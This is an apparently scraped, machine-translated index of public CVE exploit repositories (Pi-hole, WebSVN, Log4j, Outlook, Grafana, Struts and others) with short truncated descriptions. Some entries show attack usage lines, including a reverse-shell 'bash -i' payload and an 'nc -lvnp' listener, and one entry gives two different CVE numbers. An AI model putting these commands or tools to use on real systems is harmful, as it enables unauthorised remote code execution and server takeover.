CVE-2020-11108-PoC

CVE-2020-11108-PoC يحتوي هذا المستودع على اثنين من إثباتات المفهوم PoCs. سيمنحك cve-2020-11108-rce.py شل shell بصلاحية مستخدم www-data. أما root-cve-2020-11108-rce.py فسيمنحك شلًا ويصعّد الصلاحيات إلى الجذر root. ملاحظة: هذا الإجراء تدميري حيث يتعين علينا الكتابة فوق teleporter.php. للحصول على...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

Ce depot n’a pas de fichier README...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 هذا استغلال لثغرة CVE-2021-3205، وهي ثغرة ويب تسمح بحقن الأوامر في مسار search.php، ويسمح هذا الاستغلال بتنفيذ الأوامر. المتطلبات optparse, signal, requests الاستخدام root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE هذا استغلال لثغرة CVE-2019-16278 في Nostromo 1.9.6 RCE. يسمح هذا الاستغلال بتنفيذ أوامر عن بُعد RCE على الجهاز الضحية. المتطلبات optparse socat sys الاستخدام يمكنك استخدام الاستغلال على النحو التالي: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225...

CVE-2021-31630

OpenPLC WebServer v3 - استغلال تنفيذ الأوامر عن بُعد بعد المصادقة CVE-2021-31630 يستند هذا الاستغلال إلى الاستغلال المنشور على Exploit-DB والذي أعده Fellipe Oliveira. أولاً، قم بالمصادقة ارفع ملف C خبيث قم بترجمته Compile شغّل جهاز PLC لبدء الصدفة العكسية أوقف تشغيل PLC لا حاجة لتشغيله، فالصدفة...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Moodle عند المصادقة كمعلّم...

CVE-2024-25466

CVE-2024-25466 وصف لـ CVE-2024-25466 الوصف المقترح ثغرة اجتياز الدليل في React Native Document Picker قبل الإصدار v.9.1.1 وتم إصلاحها في v.9.1.1 تسمح لمهاجم محلي بتنفيذ كود عشوائي عبر سكربت معدّ لمكوّن مكتبة Android. نوع الثغرة اجتياز الدليل بائع المنتج...

Log4j-_Vulnerability

الويب عرضة لـ CVE-2021-44228 هذا التطبيق الويب عرضة لـ CVE-2021-44228، وهي ثغرة أمنية حرجة في Apache Log4j 2 تُعرف باسم Log4Shell. تسمح هذه الثغرة لمهاجم غير موثّق بتنفيذ كود ضار عن بُعد بمجرد إرسال إدخال معين يتم تسجيله بواسطة نظام السجلات، مما قد يؤدي إلى السيطرة الكاملة على الخادم...

CVE-2023-6019

حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 Un exploit Proof-of-Concept PoC basé sur Python pour CVE-2022-21661, c'est-à-dire une vulnérabilité critique dans WordPress qui permet à un attaquant non authentifié de mener une attaque par injection d'objets , pouvant dans certaines conditions conduire à une exécution de code à...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | إثبات المفهوم لثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft Outlook 📜 الوصف يقدم هذا البرنامج النصي إثباتًا للمفهوم PoC لثغرة CVE-2024-21413، وهي ثغرة أمنية كبيرة اكتُشفت في Microsoft Outlook بدرجة CVSS تبلغ 9.8. تُعرف بخلل MonikerLink، ولها آثار بعيدة المدى، بما في ذلك...

CVE-2018-4121

CVE-2018-4121 — POC RCE-эксплойт для Safari Wasm Sections от MWR Labs c 2018 Детали этот POC-эксплойт нацелен только на Safari 11.0.3 13604.5.6 на macOS 10.13.3 17D47. скомпилируйте payload по вашему выбору в виде dylib с конструктором запустите python filetojsarray.py your.dylib payload.js...

GPON

RCE على أجهزة توجيه GPON المنزلية CVE-2018-10561 الثغرة تستخدم العديد من أجهزة التوجيه اليوم إنترنت GPON، وقد اكتشف VPNMentor طريقة لتجاوز جميع آليات المصادقة على الأجهزة CVE-2018-10561. مع هذا التجاوُز للمصادقة، من الممكن أيضًا الكشف عن ثغرة أخرى لحقن الأوامر CVE-2018-10562 وتنفيذ الأوامر على...

CVE-2022-21907-RCE

CVE-2022-21907-RCE CVE-2022-21907 ثغرة RCE PoC تعليمات الاستخدام: go run ./CVE-2022-21907.go -h...

CVE-2024-9264-Fixed

🛠️ CVE-2024-9264 - استغلال RCE المُصلح في Grafana هذا هو الإصدار المُصلح من استغلال إثبات المفهوم لـ CVE-2024-9264 ، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Grafana عبر تعبيرات SQL و DuckDB. 🔗 الإعلان الأصلي: إصدار Grafana الأمني ❌ إثبات المفهوم الأصلي: معطل بسبب أخطاء في الصياغة...

CVE-2016-10033

WordPress 4.6 - استغلال PoC لتنفيذ التعليمات البرمجية عن بُعد RCE CVE-2016-10033 إنها نسخة معدلة من استغلال Dawid Golunski 41962...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs - Exploit d'exécution de code à distance RCE CVE-2020-27955 version .bat / powershell Vulnérable : git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Découvert par Dawid Golunski https://legalhackers.com https://exploitbox.io Testé sur Windows sur...

CVE-2017-0199

مجموعة أدوات الاستغلال CVE-2017-0199 - الإصدار 2.0 مجموعة أدوات الاستغلال CVE-2017-0199 - الإصدار 2.0 هي سكربت بايثون عملي يوفر طريقة سريعة وفعالة لاستغلال ثغرة تنفيذ الأوامر البرمجية عن بُعد RCE في Microsoft RTF. يمكنها توليد ملف RTF خبيث وتسليم حمولة metasploit / meterpreter إلى الضحية دون أي...

CVE-2012-1723

Web browser drive-by qui exploite CVE-2012-1723 pour l'exécution de code à distance. Un guide pas à pas et des détails techniques sont disponibles à l'adresse https://ethaniel.me/2017/02/09/practice-the-past-cve-2012-1723/...

Strutter

Strutter إثبات مفهوم لـ CVE-2018-11776، يأتي مكتملًا بالقدرة على البحث في Shodan API عن الأهداف CVE-2018-11776 إصدارات Apache Struts من 2.3 إلى 2.3.34 ومن 2.5 إلى 2.5.16 تعاني من احتمالية تنفيذ تعليمات برمجية عن بُعد عند استخدام نتائج بدون namespace وفي الوقت نفسه، تكون إجراءاتها العلوية بدون...